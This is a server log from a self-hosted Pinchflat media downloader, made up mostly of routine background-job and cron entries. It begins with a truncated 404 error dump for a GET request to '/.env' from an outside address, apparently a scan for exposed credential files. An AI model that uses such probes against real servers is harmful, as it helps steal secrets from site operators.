#PID<0.128318.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 52138}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "identity", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "x-forwarded-for" => "176.65.139.231", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "176.65.139.231" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.128319.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "identity"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36"}, {"x-forwarded-for", "176.65.139.231"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "176.65.139.231"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLVtqc3mWkH5--cADJ_h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.128318.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 52138}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "identity", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "x-forwarded-for" => "176.65.139.231", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "176.65.139.231" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.128318.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 52138}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "identity", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "x-forwarded-for" => "176.65.139.231", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "176.65.139.231" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.128319.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "identity"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36"}, {"x-forwarded-for", "176.65.139.231"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto (truncated) 21:23:25.916 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:55.917 [info] {"source":"oban","duration":946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:00.143 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:24:25.919 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:55.921 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:00.144 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:25:25.923 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:55.925 [info] {"source":"oban","duration":2075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:00.145 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:26:25.927 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:55.929 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:00.147 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:27:25.931 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:55.933 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:00.149 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:28:25.935 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:28:55.937 [info] {"source":"oban","duration":1165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:00.150 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:29:25.939 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:29:55.941 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:00.152 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:30:25.943 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:30:55.945 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:00.153 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:31:25.948 [info] {"source":"oban","duration":1923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:31:55.951 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:00.155 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:32:25.953 [info] {"source":"oban","duration":1667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:32:55.955 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:00.156 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:33:25.957 [info] {"source":"oban","duration":907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:33:55.959 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:00.158 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:34:25.961 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:34:55.963 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:00.160 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:35:25.966 [info] {"source":"oban","duration":1938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:35:55.969 [info] {"source":"oban","duration":1973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:00.161 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:36:25.972 [info] {"source":"oban","duration":2030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:36:55.975 [info] {"source":"oban","duration":2108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:00.162 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:37:25.978 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:37:55.980 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:00.164 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:38:25.982 [info] {"source":"oban","duration":1948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:38:55.985 [info] {"source":"oban","duration":1894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:00.165 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:39:25.988 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:39:55.990 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:00.166 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:40:25.993 [info] {"source":"oban","duration":1977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:40:55.994 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:00.168 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:41:25.996 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:41:55.999 [info] {"source":"oban","duration":2058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:00.169 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:42:26.001 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:42:56.003 [info] {"source":"oban","duration":2317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:00.169 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:43:26.006 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:43:56.009 [info] {"source":"oban","duration":2131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:00.171 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:44:26.011 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:44:56.013 [info] {"source":"oban","duration":2132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:00.173 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:45:26.016 [info] {"source":"oban","duration":2210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:45:56.019 [info] {"source":"oban","duration":1616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:00.175 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:46:26.022 [info] {"source":"oban","duration":1650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:46:56.025 [info] {"source":"oban","duration":2022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:00.176 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:47:26.027 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:47:56.029 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:00.178 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:48:26.031 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:48:56.033 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:00.179 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:49:26.034 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:49:56.036 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:00.181 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:50:26.039 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:50:56.042 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:00.183 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:51:26.045 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:51:56.047 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:00.184 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:52:26.050 [info] {"source":"oban","duration":1938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:52:56.053 [info] {"source":"oban","duration":1880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:00.186 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:53:26.055 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:53:56.057 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:00.188 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:54:26.059 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:54:56.061 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:00.190 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:55:26.063 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:55:56.066 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:00.190 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:56:26.068 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:56:56.069 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:00.192 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:57:26.072 [info] {"source":"oban","duration":2184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:56.074 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:00.194 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:58:26.077 [info] {"source":"oban","duration":1694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:56.080 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:00.195 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:59:26.082 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:56.084 [info] {"source":"oban","duration":1617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:00.200 [info] {"source":"oban","duration":3824,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[7272]} 22:00:00.207 [info] {"args":{},"id":7272,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"system_time":1780452000207037364,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:00:00.210 [debug] QUERY OK source="media_items" db=2.5ms idle=849.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((NOT (m0."media_filepath" IS NULL) AND NOT (m0."prevent_download" = 1)) AND NOT (NOT (m0."media_redownloaded_at" IS NULL))) AND IFNULL(redownload_delay_days, 0) > 0 AND DATE('now', '-' || redownload_delay_days || ' day') > DATE(uploaded_at) AND DATE(media_downloaded_at, '-' || redownload_delay_days || ' day') < DATE(uploaded_at) ) [] 22:00:00.210 [info] Redownloading 0 media items 22:00:00.210 [info] {"args":{},"id":7272,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","duration":3105,"event":"job:stop","queue_time":206343,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:00:26.087 [info] {"source":"oban","duration":2071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:56.090 [info] {"source":"oban","duration":1858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:00.202 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:01:26.093 [info] {"source":"oban","duration":1931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:01:56.096 [info] {"source":"oban","duration":1772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:00.204 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:02:26.098 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:02:56.100 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:00.204 [info] {"source":"oban","duration":212,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:03:26.103 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:56.106 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:00.205 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:04:26.108 [info] {"source":"oban","duration":1808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:56.111 [info] {"source":"oban","duration":1723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:00.207 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:05:26.114 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:05:56.116 [info] {"source":"oban","duration":2082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:00.209 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:06:26.119 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:56.122 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:00.210 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:07:26.124 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:56.127 [info] {"source":"oban","duration":1659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:00.211 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:08:26.129 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:56.132 [info] {"source":"oban","duration":2051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:00.213 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:09:26.135 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:56.138 [info] {"source":"oban","duration":1917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:00.215 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:10:26.141 [info] {"source":"oban","duration":1676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:56.144 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:00.217 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:11:26.147 [info] {"source":"oban","duration":2101,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:56.150 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:00.217 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:12:26.153 [info] {"source":"oban","duration":1597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:12:56.156 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:00.219 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:13:26.159 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:13:56.161 [info] {"source":"oban","duration":1889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:00.220 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:14:26.164 [info] {"source":"oban","duration":1894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:14:56.167 [info] {"source":"oban","duration":2069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:00.221 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:15:26.170 [info] {"source":"oban","duration":1630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:15:56.173 [info] {"source":"oban","duration":1990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:00.223 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:16:26.176 [info] {"source":"oban","duration":2032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:16:56.179 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:00.224 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:17:26.182 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:17:56.185 [info] {"source":"oban","duration":2126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:00.225 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:18:26.188 [info] {"source":"oban","duration":1822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:18:56.191 [info] {"source":"oban","duration":2047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:00.227 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:19:26.194 [info] {"source":"oban","duration":1978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:19:56.197 [info] {"source":"oban","duration":1945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:00.228 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:20:26.200 [info] {"source":"oban","duration":2037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:20:56.203 [info] 